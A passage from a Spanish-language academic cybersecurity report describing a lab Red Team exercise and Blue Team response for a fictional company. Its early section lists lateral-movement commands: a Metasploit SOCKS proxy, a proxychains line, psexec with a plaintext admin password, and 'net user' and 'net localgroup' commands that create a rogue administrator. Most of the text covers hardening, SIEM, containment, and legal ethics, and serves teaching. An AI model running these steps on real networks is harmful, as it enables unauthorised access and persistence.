dentro de la subred interna del laboratorio. Esta verificacion permitié reconocer caracteristicas
generales del sistema expuesto, como parte del analisis de la superficie de ataque en la fase de
post-explotacion simulada. Elaboracion propia.
Levantamiento del servidor SOCKS4a en Metasploit

En esta fase se establecio un canal intermedio que permiti6 simular la comunicacién entre
redes previamente separadas dentro del laboratorio. Este resultado evidencid el alto riesgo que
representa la falta de controles sobre el trafico interno, destacando la importancia de aplicar
controles de segmentacion, monitoreo de rutas internas y restriccion de servicios no autorizados
como parte de las acciones de defensa del Blue Team.

En la figura 22 se aprecia la configuracion y ejecucion del médulo
auxiliary/server/socks_proxy. El servidor SOCKS escuchando en 127.0.0.1:1080 permite enrutar
herramientas externas (como nmap e impacket) a traves de la sesion comprometida. Esta capa es

esencial para realizar pivoting fuera de Metasploit utilizando ProxyChains.



Figura 22

Habilitacion de un canal de red intermedio en el entorno comprometido

Nota: La imagen muestra la activacion de un servicio de red intermedio dentro del entorno de
laboratorio, utilizado como parte de la simulacion de movimiento lateral y comunicacion
indirecta hacia la subred interna. Elaboracién propia.
Configuracion de proxychains.conf

La figura 23 muestra la edicién del archivo /etc/proxychains.conf agregando la linea:

socks4 127.0.0.1 1080

Con esto, todo el trafico de las herramientas que usen ProxyChains se enviara a través del

tinel SOCKS creado mediante Metasploit, permitiendo operar contra Host-B como si se

estuviera dentro de la red interna.
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Figura 23

Configuracion de proxychains.conf

Edit View Search Terminal Help

user@parrot

Nota: La imagen evidencia la validacién de conectividad y la deteccion de un servicio activo en
un host de la subred interna, a través de un canal de red intermedio previamente establecido en el
entorno de laboratorio.

Uso de nmap y psexec a través de ProxyChains

En la figura 24 podemos ver dos acciones fundamentales:

. ProxyChains + nmap: Se valido que el puerto 445 de Host-B esta accesible via
pivoting.
o ProxyChains + Impacket psexec.py: Se establece una sesion remota en Host-B

utilizando credenciales validas del administrador (administrador:Colombial23).
El prompt final C:\Windows\system32> confirma acceso completo al sistema destino

mediante SMB pivotado.
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Figura 24

Acceso remoto a host B interno mediante herramienta de administracion en entorno controlado

ns Places System @ & ! P

Parrot Terminal

Search Terminal Help

Nota: La imagen evidencia la obtencion de acceso remoto a un equipo ubicado en la subred interna
del laboratorio, como resultado de la simulacién controlada posterior al movimiento lateral.
Creacion de usuario administrativo en Host-B (PoC Red Team)

En esta etapa se realizo6 la creacion de un usuario efimero con privilegios administrativos
dentro del sistema comprometido, como parte de la prueba de concepto solicitada en el escenario.

Esta accion tuvo como finalidad evidenciar el nivel de control que podria alcanzar un
atacante en un entorno sin medidas de seguridad adecuadas.

En la figura 25 se visualiza la ejecucion exitosa de los comandos:

o net user vanessazamudio Colombial23 /add

o net localgroup Administradores vanessazamudio /add

Esto demuestra la capacidad de escalar privilegios y alterar cuentas en la maquina destino

siendo la evidencia crucial del movimiento lateral.
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Figura 25

Creacion de un usuario efimero con privilegios administrativos en un entorno controlado

Nota: La imagen evidencia la creacion de un usuario temporal con privilegios administrativos
dentro del sistema objetivo, como parte de la prueba de concepto (PoC) realizada en un laboratorio
aislado. Elaboracion propia.

Figura 26
Validacion de usuario administrativo en Host-B (PoC Red Team)
c, Applications Places System g * ! 4|

200 Parrot Terminal

File Edit View Search Terminal Help

Parrot Terminal
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Nota: La imagen muestra la verificacion de una cuenta de usuario creada durante la prueba de
concepto en el entorno de laboratorio, donde se evidencia el ultimo cambio de contrasefia
registrado en el sistema como parte del control y seguimiento de accesos. Elaboracion propia.

En esta etapa se confirmo que la cuenta efimera contaba con privilegios administrativos en
el sistema comprometido, lo que representd un alto nivel de riesgo en términos de control total del
equipo. Este resultado permitio dimensionar el impacto que puede generar una brecha de seguridad
en la gestion de cuentas y privilegios, y sirvio como base para la fase posterior de eliminacién de
la cuenta, refuerzo de politicas de acceso y aplicacion de medidas de endurecimiento por parte del
Blue Team.

Figura 27

Verificacion de pertenencia al grupo de administradores de la cuenta efimera

OApp\“%tlcﬂs Places System @ 5 B oJ
200 Parrot Terminal

File Edit View Search Terminal Help

the result with https

Nota: La imagen muestra la verificacion de que la cuenta de usuario creada de forma temporal
durante la prueba de concepto fue integrada al grupo de administradores del sistema. Elaboracion

propia.
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Figura 28

Visualizacion de la cuenta efimera con privilegios administrativos en el sistema objetivo
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Nota: La imagen muestra la visualizacion de una cuenta de usuario creada de forma temporal
con privilegios administrativos dentro del sistema comprometido. Elaboracién propia.
Eliminacion del usuario creado (limpieza)

En esta fase se llevo a cabo la eliminacién de la cuenta efimera que habia sido creada con
privilegios administrativos durante la simulacion de ataque. Esta accion forma parte de las
medidas de contencion del Blue Team, orientadas a revertir los cambios no autorizados, reducir
el riesgo de persistencia en el sistema y restablecer las condiciones de seguridad. Asimismo,
evidencia la importancia de una correcta gestion de cuentas y del monitoreo continuo de

privilegios en entornos corporativos.
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Nota: La imagen muestra la eliminacion de una cuenta de usuario creada de forma temporal
durante la prueba de concepto, como parte de las acciones de contencién implementadas por el
Blue Team en el entorno de laboratorio. Esta medida fue aplicada con el objetivo de mitigar el
acceso no autorizado y restablecer la seguridad del sistema. Elaboracion propia.

La Figura 30 sintetiza de forma gréafica la secuencia completa aplicada durante el
ejercicio Red Team en el laboratorio, permitiendo evidenciar la relacion directa entre cada fase

practica ejecutada y las etapas clasicas de un proceso de pentesting controlado.

45



46

Figura 30

Ciclo de ataque simulado y fases del ejercicio Red Team en laboratorio controlado
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Nota. La imagen representa de manera secuencial las fases ejecutadas durante el ejercicio Red
Team en un entorno de laboratorio controlado: reconocimiento, escaneo, identificacion de
vulnerabilidades, explotacion, post-explotacion, escalamiento de privilegios y validacion final.
Elaboracion propia.
Estrategias Blue Team
Acciones iniciales ante la deteccion de un ataque en tiempo real
Al enfrentar un ataque informatico en tiempo real, lo primero que indagaria seria el
alcance del incidente, es decir, identificar qué equipo o equipos estan siendo afectados, desde
cuando inicid el comportamiento anémalo y si existen sefiales evidentes de compromiso, como
procesos inusuales, alto consumo de recursos, conexiones de red sospechosas o creacion de
usuarios no autorizados. Esta primera revision permite determinar si se trata de un incidente
aislado o de una amenaza que podria estar propagandose dentro de la red de SecureNova Labs.
De manera inmediata, una de las primeras acciones que realizaria seria aislar la maquina
comprometida de la red, desconectandola del acceso a Internet y a la red interna, con el fin de

evitar movimientos laterales hacia otros equipos y la posible exfiltracion de informacion. Este



47

paso es esencial en la fase de contencion inicial, ya que limita la comunicacion del atacante con
el sistema vulnerado y reduce el impacto del incidente (Zambrano Hernandez et al., 2024).

Posteriormente, iniciaria un proceso de recoleccion de informacion técnica, sin apagar el
equipo, para no perder evidencia volatil. En esta etapa revisaria los procesos en ejecucion, las
conexiones activas de red, los servicios iniciados, los usuarios conectados y los registros de
eventos del sistema operativo. Estas actividades pueden realizarse con herramientas de software
libre como Process Explorer, Wireshark, Task Manager avanzado o comandos del sistema como
netstat, tasklist y eventvwr, permitiendo identificar comportamientos anomalos que confirmen la
presencia del ataque. De acuerdo con European Union Agency for Cybersecurity. (2019), la
deteccidn temprana de actividad maliciosa requiere analizar patrones inusuales de trafico y
correlacionar eventos que puedan evidenciar compromisos en curso.

Ademas, consultaria los registros de seguridad de la red y, si se cuenta con un SIEM,
verificaria la correlacion de eventos para identificar patrones de intrusién, intentos de acceso no
autorizados o conexiones hacia direcciones IP sospechosas. Un SIEM permite centralizar y
analizar los registros en tiempo real, facilitando la identificacion de la fuente del ataque y
apoyando la toma de decisiones en la fase de contencion (Moreno, P. (2015)).

Finalmente, documentaria cada hallazgo mediante capturas de pantalla, anotaciones de
fechas y horas, direcciones IP involucradas y cualquier archivo sospechoso identificado, tal
como sefiala Casey, E. (2011), la validez de la evidencia digital depende de una recoleccion
adecuada y de evitar la alteracion de datos volatiles durante el andlisis de incidentes. Esta
informacidn seria clave para el andlisis posterior, la elaboracion del informe y la implementacion
de medidas de hardenizacion que eviten futuros incidentes. Estas acciones se alinean con las

buenas practicas sugeridas por el Center for Internet Security (Center for Internet Security, 2020)
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y las guias de gestidn de incidentes, las cuales resaltan la importancia de actuar de manera
rapida, ordenada y basada en evidencia.
Medidas de endurecimiento del sistema tras el ataque simulado del Red Team

Teniendo en cuenta que el ataque ejecutado por el equipo Red Team se aproveché de
vulnerabilidades en una estacion de trabajo Windows, una de las primeras medidas de
hardenizacion que propondria seria la actualizacion inmediata del sistema operativo y de todas
las aplicaciones instaladas.

Por ejemplo: si el ataque se realiz6 sobre un sistema Windows 7 sin parches recientes o
una aplicacion vulnerable (como un servidor HTTP antiguo), se deben instalar las Gltimas
actualizaciones de seguridad o, en su defecto, migrar a una version mas reciente y soportada
como Windows 10 u 11. Esto reduce la posibilidad de que un atacante vuelva a explotar la
misma vulnerabilidad.

Otra medida clave seria el endurecimiento de servicios y puertos expuestos. Esto significa
deshabilitar servicios innecesarios y cerrar puertos que no estén siendo utilizados con un
propdsito legitimo.

Por ejemplo: si durante el escaneo realizado por el Red Team se detectd que el puerto 80
0 445 estaba abierto sin necesidad, se debe configurar el firewall local y de red para bloquear
es0s puertos y permitir Unicamente los estrictamente necesarios para la operacion del equipo
dentro de SecureNova Labs (Center for Internet Security, 2020).

También propondria implementar politicas mas estrictas de control de acceso, aplicando
el principio de minimo privilegio. Esto implica eliminar cuentas innecesarias, revisar permisos y

restringir el uso de cuentas con privilegios administrativos.
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Por ejemplo: si el atacante logro crear un usuario administrador durante el ataque, como
se evidencid en el ejercicio anterior, se deben eliminar estas cuentas no autorizadas y configurar
que solo personal autorizado, mediante credenciales robustas, pueda crear o modificar usuarios
con privilegios elevados (Centro Criptolégico Nacional - CCN-CERT, 2018).

Adicionalmente, se recomienda implementar herramientas de monitoreo y alerta
temprana, como un SIEM o sistemas de deteccion de intrusos. Esto permitiria identificar
comportamientos anémalos en tiempo real.

Por ejemplo: si un equipo comienza a realizar multiples intentos de conexion a otras
maquinas o a direcciones IP externas desconocidas, el SIEM puede generar una alerta para que el
Blue Team intervenga de inmediato antes de que el dafio se extienda (Moreno, P. (2015)).

Por ultimo, una medida de hardenizacion fundamental es la capacitacion del personal en buenas
practicas de ciberseguridad. Muchas veces el ataque inicial comienza por un correo electronico
malicioso 0 una descarga insegura.

Por ejemplo: si un usuario abrié un archivo sospechoso enviado por correo, se deben
realizar capacitaciones basicas sobre como identificar correos fraudulentos, enlaces peligrosos y
archivos adjuntos maliciosos, fortaleciendo asi la primera linea de defensa humana dentro de
SecureNova Labs (Zambrano Hernandez et al., 2024).

Diferencias entre los equipos Blue Team y de Respuesta a Incidentes

Aunque el equipo Blue Team y el equipo de respuesta a incidentes (CSIRT) trabajan con
el mismo objetivo de proteger a la organizacion frente a amenazas informaticas, sus funciones y
enfoques son diferentes y complementarios.

El Blue Team tiene un enfoque principalmente preventivo y defensivo de forma continua.

Su trabajo se centra en fortalecer la seguridad de los sistemas, configurar controles, monitorear la
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red en busca de comportamientos sospechosos y aplicar medidas de hardenizacion para reducir
vulnerabilidades. Es un equipo que trabaja de forma constante en la proteccion de la
infraestructura, incluso cuando no hay un ataque en curso.

Por ejemplo: en el caso de SecureNova Labs, el Blue Team se encargaria de configurar el
firewall, revisar que los parches estén actualizados, verificar que no existan puertos innecesarios
abiertos, implementar herramientas como un SIEM y analizar los registros de eventos para
detectar cualquier actividad andmala antes de que se convierta en un incidente grave (Center for
Internet Security, 2020).

Por otro lado, el CSIRT (Computer Security Incident Response Team) entra en accion
cuando el incidente ya ha sido identificado y requiere una respuesta estructurada y formal. Este
equipo se especializa en gestionar el incidente, documentarlo, coordinar acciones de
recuperacion, comunicar a las areas involucradas y apoyar en la restauracion de los servicios
afectados. Su funcion es mas reactiva y orientada a la gestion del incidente, una vez que este
ocurre (Zambrano Hernandez et al., 2024).

Por ejemplo: si durante el monitoreo, el Blue Team detecta que un atacante logro acceder
al sistema y extraer informacion, el CSIRT de SecureNova Labs seria el encargado de activar el
plan de respuesta, analizar el impacto, notificar a las partes interesadas, recolectar evidencia
digital y liderar el proceso de recuperacion de los sistemas afectados.

Otra diferencia importante es que el Blue Team actUa de manera continua, mientras que
el CSIRT trabaja principalmente por eventos. Segun el National Institute of Standards and
Technology. (2014), un equipo de respuesta debe seguir fases estructuradas de preparacion,
deteccidn, analisis, contencion, erradicacion y recuperacion para manejar adecuadamente un

incidente. EI Blue Team esta siempre vigilando, ajustando controles y fortaleciendo la seguridad,
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mientras que el CSIRT se activa cuando hay un incidente concreto que debe ser gestionado de

forma formal y documentada.

En resumen, se puede decir que el Blue Team es quien previene, vigila y fortalece,

mientras que el CSIRT es quien responde, coordina y gestiona el incidente cuando ya se ha

materializado, y ambos se complementan para ofrecer una proteccion integral dentro de la

organizacion (Rajendran, J., Jyothi, V., & Karri, R. (2011)).

Tabla 1

Diferencias principales entre el Blue Team y el CSIRT en el escenario de SecureNova Labs

Criterio

Blue Team

CSIRT (Equipo de

Respuesta ante Incidentes)

Enfoque principal

Preventivo y defensivo

Reactivo y de gestion del

incidente

Objetivo

Proteger y fortalecer la

infraestructura

Responder, contener y

gestionar el incidente

Momento de actuacion

Antes y durante un ataque

Cuando el incidente ya fue

detectado

Funciones principales

Monitoreo, hardenizacion,

deteccion y prevencion

Analisis, contencion,

erradicacion y recuperacion

Frecuencia de trabajo

Permanente y continuo

Se activa por eventos 0

incidentes

Ejemplo en SecureNova

Labs

Configura firewall, revisa

parches, monitorea el SIEM

Investiga el ataque,
documenta el caso y coordina

la recuperacion
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Nota. Esta tabla presenta una comparacion general entre las funciones del equipo Blue Team y el
equipo de respuesta a incidentes (CSIRT), destacando sus diferencias en cuanto al enfoque, el
momento de actuacion y las principales responsabilidades en el contexto del escenario de
SecureNova Labs. Elaboracion propia.

Aplicacion del marco del Center for Internet Security (CIS) en las labores del Blue Team

Si dentro del equipo Blue Team de SecureNova Labs me indicaran trabajar con el Center
for Internet Security (CIS), lo utilizaria principalmente como una guia practica para fortalecer la
seguridad de los sistemas y reducir las vulnerabilidades identificadas durante el ataque ejecutado
por el Red Team. El CIS proporciona estandares, controles y configuraciones recomendadas que
permiten establecer una base solida de seguridad en servidores, estaciones de trabajo, redes y
dispositivos, lo que resulta fundamental en un escenario donde se busca prevenir una
reincidencia del ataque (Center for Internet Security, 2020).

En primer lugar, emplearia los CIS Benchmarks para revisar la configuracion de la
estacion de trabajo Windows comprometida y compararla con una configuracion segura
recomendada. Esto permitiria detectar pardmetros inseguros, como servicios innecesarios
habilitados, permisos excesivos, contrasefias débiles o puertos abiertos sin control.

Por ejemplo, si el equipo afectado tenia habilitado el acceso remoto sin restricciones o
contaba con usuarios con privilegios administrativos no autorizados, los CIS Benchmarks
servirian como guia para deshabilitar esos accesos y aplicar configuraciones mas seguras,
reduciendo asi la posibilidad de que el atacante vuelva a tomar control del sistema (Center for
Internet Security. (2020)).

Adicionalmente, utilizaria los CIS Critical Security Controls para priorizar las acciones

de mejora que debe implementar SecureNova Labs.
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Estos controles permiten ordenar las tareas de seguridad comenzando por las mas criticas,

tales como:
. Inventariar los activos de hardware y software.
o Asegurar las cuentas de usuario y privilegios.
o Monitorear los eventos del sistema 'y de la red.
o Proteger los puntos de acceso.

Esto facilita la creacion de un plan estructurado de hardenizacion alineado con buenas
practicas internacionales y adaptable a las capacidades de la organizacion (Zambrano Hernandez
etal., 2024).

Finalmente, complementaria la aplicacion del CIS con la Guia para la valoracion y
evaluacion de riesgos de ciberseguridad del CSIRT Académico UNAD, la cual ofrece
lineamientos claros para identificar activos criticos, evaluar riesgos, determinar impactos y
definir controles acordes al nivel de amenaza presente. De esta manera, el trabajo del Blue Team
no solo se limita a resolver el incidente actual, sino que contribuye a fortalecer de manera
integral la postura de seguridad de SecureNova Labs (Centro de Respuesta a Incidentes
Informéticos — CSIRT Académico UNAD, 2024).

Funciones y caracteristicas esenciales de un sistema SIEM

Un SIEM (Security Information and Event Management) es una herramienta que permite
recopilar, analizar y correlacionar en un solo lugar los registros (logs) generados por los
diferentes equipos y sistemas de una organizacion, como servidores, estaciones de trabajo,
firewalls, routers, aplicaciones y dispositivos de red. Su principal funcién es ayudar al equipo
Blue Team a detectar comportamientos sospechosos o anémalos que puedan indicar la presencia

de un ataque informatico.



54

En el contexto de SecureNova Labs, el uso de un SIEM seria fundamental para tener una
visibilidad completa de lo que ocurre en la red. A traves de esta herramienta, se pueden
identificar intentos de acceso no autorizado, conexiones hacia direcciones IP sospechosas,
cambios inesperados en el sistema, creacion indebida de usuarios y actividades que se salgan del
comportamiento normal de los equipos. Esto permite que el Blue Team actue de forma mas
rapida y precisa al detectar un incidente en tiempo real (Moreno, P. (2015)).

Bejtlich, R. (2013) destaca que el monitoreo continuo basado en eventos es esencial para
identificar comportamientos anémalos y ataques encubiertos dentro de la red.

Entre las principales funciones de un SIEM se destacan:

. Recoleccion de eventos: Recibe informacion proveniente de distintos dispositivos
y sistemas dentro de la red.

. Centralizacion de registros (logs): Almacena todos los registros en un solo
lugar, lo que facilita su analisis.

. Correlacion de eventos: Relaciona diferentes actividades que, por separado,
podrian parecer normales, pero que en conjunto pueden indicar un ataque.

. Generacion de alertas: Emite notificaciones en tiempo real cuando detecta
comportamientos sospechosos o peligrosos.

. Analisis forense: Permite revisar eventos pasados para entender como ocurrio un
ataque y qué fue lo que el atacante hizo. Por ejemplo, si un usuario intenta acceder repetidamente
a una cuenta con contrasefias incorrectas, luego realiza una conexién remota desde una IP
desconocida y finalmente crea una cuenta con privilegios de administrador, el SIEM puede
detectar esa secuencia y generar una alerta inmediata para que el Blue Team intervenga antes de

que el dafio sea mayor.
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Ademas, un SIEM contribuye a mejorar la toma de decisiones dentro de la organizacion,
ya que ofrece reportes e informes que ayudan a identificar patrones de ataque, vulnerabilidades
recurrentes y puntos débiles en la infraestructura. Esto resulta Gtil para reforzar las medidas de
seguridad, aplicar hardenizacion y fortalecer las politicas internas de proteccion de la
informacion (Zambrano Hernandez et al., 2024).

El SIEM se convierte en una herramienta clave para el Blue Team de SecureNova Labs,
ya que no solo ayuda a detectar amenazas, sino que también apoya la prevencion, el monitoreo
constante y la mejora continua de la seguridad de la organizacion.

Herramientas de contencidn de ataques informaticos

Las herramientas de contencién de ataques informaticos tienen como finalidad principal
detener, aislar o limitar el impacto de una amenaza activa, evitando que se propague a mas
equipos o que continue causando dafio dentro de la organizacion. En el caso de SecureNova
Labs, estas herramientas serian clave para frenar el ataque detectado en la estacion de trabajo
comprometida.

A continuacion, se describen tres herramientas de contencion importantes, tanto de
hardware como de software:

. Firewall (hardware o software): El firewall es una herramienta fundamental de
contencidn, ya que permite controlar y filtrar el trafico de red, bloqueando conexiones no
autorizadas y evitando que un atacante continde comunicandose con el equipo comprometido o
con otros dispositivos dentro de la red. Scarfone, K., & Mell, P. (2007) sefialan que las
herramientas de deteccidn y prevencion de intrusiones (IDS/IPS) complementan los firewalls al
identificar patrones maliciosos y bloguear intentos de intrusion en tiempo real.

Ejemplo aplicado a SecureNova Labs:
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Si la estacion de trabajo atacada estaba enviando datos a una direccion IP externa
desconocida, el firewall podria configurarse para bloquear esa IP especifica, cortar la
comunicacion y evitar la fuga de informacién. Tambiéen se podrian cerrar puertos vulnerables que
fueron utilizados en el ataque, impidiendo nuevos intentos de conexion.

El uso del firewall como herramienta de contencion permite crear una “barrera”
inmediata entre el sistema afectado y el resto de la red (Centro Criptolégico Nacional — CCN-
CERT, 2018).

. Herramientas de aislamiento de red (Network lIsolation / VLAN /
Desconexion de interfaz): El aislamiento de red es una medida de contencidn directa que
consiste en separar el equipo comprometido de la red principal, evitando que el ataque se
propague a otros dispositivos. Esto puede realizarse mediante la creacion de una VLAN aislada,
la desactivacion de la interfaz de red o el uso de herramientas de control de acceso a la red.

Ejemplo aplicado a SecureNova Labs:

Al detectar actividad maliciosa en una estacién de trabajo, el Blue Team podria mover
ese equipo a una red aislada, donde no tenga acceso a servidores, bases de datos ni otros
dispositivos importantes. De esta forma, aunque el atacante siga teniendo acceso al equipo, ya no
podra afectar el resto de la infraestructura.

Este tipo de contencidn es una de las acciones mas rapidas y efectivas durante un
incidente activo (Zambrano Hernandez et al., 2024).

. Antivirus / EDR / Antimalware (Software de respuesta y contencion): Las
soluciones antivirus 0 EDR (Endpoint Detection and Response) no solo detectan amenazas, sino
que también pueden bloguear procesos maliciosos, poner archivos en cuarentena y detener la

ejecucidn de software sospechoso, convirtiéndose asi en una herramienta de contencién.
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Ejemplo aplicado a SecureNova Labs:

Si durante el ataque se identifica un archivo malicioso ejecutandose en segundo plano,
una herramienta antimalware puede detener el proceso automaticamente y aislar el archivo en
cuarentena, evitando que siga infectando el sistema o se replique en otros equipos.

Cuando estas herramientas estan bien configuradas, contribuyen a una respuesta rapida y
reducen significativamente el impacto del ataque (Moreno, P. (2015)).

En conclusién, el uso combinado de firewalls, aislamiento de red y herramientas
antimalware/EDR permite al equipo Blue Team de SecureNova Labs actuar de manera inmediata
y efectiva frente a un ataque en tiempo real, limitando su alcance y protegiendo los activos
criticos de la organizacion.

Aspectos Eticos, Legales y Marco Normativo
Procesos ilegales y no éticos identificados en el acuerdo

Durante el andlisis del acuerdo de confidencialidad presentado por SecureNova Labs
(Anexo 3), se identificaron diversas clausulas que intentan legitimar o encubrir practicas ilegales
bajo la figura de “informacion confidencial”. Estas disposiciones obligan al receptor a guardar
silencio aun cuando tenga conocimiento de delitos informaticos, lo cual entra en conflicto directo
con los principios éticos profesionales y el deber legal de denunciar conductas ilicitas.

Las clausulas mas problematicas se encontraron en los siguientes apartados:

. Clausula Primera — Objeto del acuerdo: Prohibe informar a autoridades sobre

actos ilegales, tales como espionaje o apropiacion de informacion de terceros. Esta disposicion

constituye una forma de encubrimiento y vulnera el principio del interés publico.
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. Clausula Segunda — Definicion de informacion confidencial: Incluye dentro de
la informacion protegida practicas abiertamente ilegales, como “chuzadas™ e interceptaciones de
datos, lo que evidencia una intencién de normalizar actividades delictivas.

. Clausula Cuarta — Obligaciones de la parte receptora: Reitera la prohibicién
de denunciar y divulgar informacion incluso cuando esta sea ilegal, atentando contra el derecho
de las victimas y el deber ético del profesional.

. Clausula Octava — Solucion de controversias: Intenta eximir de
responsabilidad a la empresa y trasladar toda la carga legal al trabajador, lo cual carece de
validez juridica en materia penal.

Estas clausulas no solo son éticamente inaceptables, sino que ademas representan un alto
riesgo legal para quien las acepte o participe en dichas actividades.

Articulos legales que se estarian vulnerando (Ley 1273 de 2009)

Las practicas descritas en el acuerdo de confidencialidad contravienen directamente
varios articulos de la Ley 1273 de 2009, que protege el bien juridico de la informacién en
Colombia:

. Articulo 269A Acceso abusivo a un sistema informatico:

Se vulnera al hacer referencia a la apropiacion de informacion de terceros sin
autorizacion expresa.

. Articulo 269B Obstaculizacion ilegitima de sistema informatico o red:

Podria configurarse si las acciones realizadas afectan el funcionamiento normal de
sistemas o redes.

. Articulo 269C Interceptacion de datos informaticos:
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Se vulnera al incluir términos como “interceptacion de informacién” y “chuzadas™ dentro
de la supuesta informacion confidencial.

. Articulo 269F Uso de software malicioso:

Se veria comprometido si las herramientas utilizadas en el contexto del acuerdo tienen
como finalidad acceder, copiar o manipular informacién de forma ilicita.

. Articulo 269G Violacion de datos personales:

Se vulnera ante la mencion de la apropiacion o uso de datos personales sin el
consentimiento de su titular.

En consecuencia, aceptar un acuerdo de este tipo podria convertir al profesional en
cémplice o coautor de delitos informaticos, con graves consecuencias penales.

Relacion con el cddigo de ética profesional (COPNIA, 2015)

Las practicas planteadas en el acuerdo de confidencialidad de SecureNova Labs
contradicen de manera directa los principios y deberes establecidos en el Codigo de Etica del
(Consejo Profesional Nacional de Ingenieria — (COPNIA). (2015)), el cual exige que el
profesional de la ingenieria actle con honestidad, responsabilidad, respeto por la ley y proteccién
de los derechos fundamentales.

En particular, se evidencia incumplimiento de los siguientes numerales éticos:

. Numeral 1.3 Honestidad e integridad profesional:

Este numeral establece que el ingeniero debe desempefiar sus funciones con rectitud,
veracidad y transparencia. La participacion en actividades como la interceptacion ilegal de
comunicaciones, el acceso abusivo a sistemas informaticos o el encubrimiento de estas practicas
vulnera directamente este principio, ya que implica una conducta deliberadamente contraria a la

ética profesional.
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. Numeral 1.5 Responsabilidad social y proteccion del interés publico:

El Codigo de Etica indica que el profesional debe anteponer el bienestar de la sociedad
sobre cualquier beneficio personal o econdmico. Aceptar un acuerdo gque intenta normalizar la
apropiacion de informacion de terceros o el espionaje digital atenta contra la seguridad, la
privacidad y la confianza de la comunidad, afectando el interes pablico.

. Numeral 2.1 Respeto por la ley y los derechos fundamentales:

Este literal sefiala que todo profesional debe actuar conforme a la Constitucion y las leyes
vigentes. Las practicas descritas en el acuerdo transgreden directamente la Ley 1273 de 2009,
que tipifica delitos como el acceso abusivo, la interceptacion ilegal de datos y la violacion de
datos personales.

. Numeral 2.5 Respeto por la privacidad y la confidencialidad:

Este numeral establece que el profesional debe proteger la informacion a la que tenga
acceso, garantizando la confidencialidad y la privacidad de los datos personales y sensibles. Las
clausulas del acuerdo analizado convierten en “confidencial” informacion obtenida por medios
ilicitos, como interceptaciones ilegalmente realizadas o accesos no autorizados, lo cual
contradice completamente este principio ético.

. Numeral 2.6 Prohibicion de participar o encubrir actos ilicitos:

El Codigo de Etica prohibe de forma expresa la participacion en actos ilegales o su
ocultamiento. No obstante, el acuerdo obliga a la parte receptora a guardar silencio frente a
conductas ilicitas, configurando una forma de encubrimiento que compromete gravemente la
integridad profesional.

En consecuencia, aceptar y ejecutar actividades relacionadas con interceptacién de datos,

accesos abusivos o encubrimiento de delitos informaticos no solo vulnera la legislacion
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colombiana vigente, sino que ademas transgrede los principios fundamentales del Cédigo de
Etica del Consejo Profesional Nacional de Ingenieria (COPNIA). (2015), afectando la dignidad
profesional, la confianza publica y la legitimidad del ejercicio de la ciberseguridad.
Importancia del marco ético en el ejercicio de la ciberseguridad

El ejercicio de la ciberseguridad implica una alta responsabilidad profesional, ya que
durante actividades como auditorias, pruebas de penetracion o anélisis forense se tiene acceso a
informacion sensible. Por ello, estas acciones deben ejecutarse bajo una autorizacion formal y
documentada, con un alcance claramente definido, evitando intervenir sistemas o datos que no
estén autorizados.

También es indispensable aplicar el principio de necesidad y proporcionalidad,
realizando Unicamente las acciones estrictamente necesarias para cumplir los objetivos, sin
generar dafios adicionales. Asimismo, debe garantizarse en todo momento el respeto por la
privacidad y la legalidad, manejando la informacion con confidencialidad y responsabilidad.

De acuerdo con los lineamientos del Ministerio de Tecnologias de la Informacién y las
Comunicaciones (MinTIC). (2022)., la proteccién de la informacion no depende solo de las
herramientas tecnoldgicas, sino principalmente de la ética del profesional que las utiliza. En este
sentido, la ciberseguridad debe ser entendida como un mecanismo de defensa, prevencion y

proteccién de los derechos digitales, y no como un medio de espionaje o abuso.
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Evidencias de Sustentacion
En cumplimiento de los requisitos de la Etapa 5 del Seminario Especializado, se presenta
el video de sustentacion disponible en el siguiente enlace:

Video de sustentacion del informe final: https://youtu.be/fS-V4pHgsYs
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Conclusiones

El desarrollo de este trabajo permitié comprender, de forma préactica, como se estructura
un ejercicio completo de ciberseguridad al integrar las funciones del Red Team y del Blue Team
en un entorno controlado. EI montaje del laboratorio y la simululacion del ataque evidenciaron
que las configuraciones inseguras, los sistemas desactualizados y la ausencia de controles
adecuados representan una puerta de entrada importante para los atacantes ((Center for Internet
Security, 2020); (National Institute of Standards and Technology, 2018)).

En la fase de Red Team se demostrd que, mediante el reconocimiento, la explotacion de
vulnerabilidades y el movimiento lateral, es posible comprometer varios sistemas dentro de una
red, lo que resalta la importancia de comprender el comportamiento del adversario como base de
una defensa efectiva (MITRE Corporation, 2023).

Por su parte, la fase de Blue Team evidencio la relevancia de la deteccidn temprana, el
monitoreo continuo y la aplicacién de estrategias de hardening, como la segmentacion de red, la
gestion de privilegios y el fortalecimiento de politicas internas, para mejorar la postura de
seguridad del entorno (Zambrano Hernandez et al., 2024; (Center for Internet Security, 2020)).

Finalmente, el analisis ético y legal reafirmo que la ciberseguridad debe ejercerse bajo un
marco de responsabilidad, legalidad y respeto por la privacidad, conforme a la Ley 1273 de
2009, los lineamientos del Ministerio de Tecnologias de la Informacion y las Comunicaciones
(MiInTIC). (2022) y el Cédigo de Etica del Consejo Profesional Nacional de Ingenieria
(COPNIA). (2015). Este trabajo fortaleci6 no solo las competencias técnicas, sino también la
conciencia profesional sobre el uso responsable del conocimiento en la proteccion de la

informacion.



64

Recomendaciones

Derivado del incidente ocurrido en SecureNova Labs, se recomienda implementar
acciones técnicas inmediatas orientadas a evitar la repeticion del compromiso observado en
Host-A. En primer lugar, debe corregirse la vulnerabilidad explotada mediante la aplicacion de
parches pendientes y la desinstalacion del software obsoleto identificado durante la fase de
reconocimiento, siguiendo las directrices de gestion de parches establecidas por el NIST
(Souppaya, M., & Scarfone, K. (2013). Asimismo, se deben deshabilitar los servicios
innecesarios y cerrar los puertos expuestos que facilitaron la entrada del atacante, conforme a las
buenas practicas de endurecimiento definidas en los CIS Controls (Center for Internet Security,
(2020)).

Adicionalmente, se recomienda realizar una auditoria exhaustiva de las cuentas locales y
de dominio, eliminar las credenciales creadas por el adversario y ajustar los privilegios excesivos
detectados en Host-A y Host-B, siguiendo los controles de gestion de acceso y privilegios
establecidos en el NIST SP 800-53 (Joint Task Force Transformation Initiative, 2013). Para
evitar el movimiento lateral observado en el laboratorio, es indispensable implementar
segmentacion interna y separar estaciones de trabajo y servidores criticos, aplicando reglas de
firewall que limiten la comunicacién entre subredes, tal como lo sugieren las medidas de
mitigacion documentadas en MITRE ATT&CK (MITRE Corporation, 2023).

Para fortalecer la capacidad defensiva, el Blue Team debe configurar reglas especificas
en el SIEM orientadas a detectar eventos como enumeracion, creacion de usuarios no autorizados
y ejecucion de comandos sospechosos, siguiendo las recomendaciones de monitoreo de
European Union Agency for Cybersecurity. (2019). También se sugiere habilitar sensores

IDS/IPS en los puntos donde se registr6 actividad maliciosa y correlacionarlos con los registros
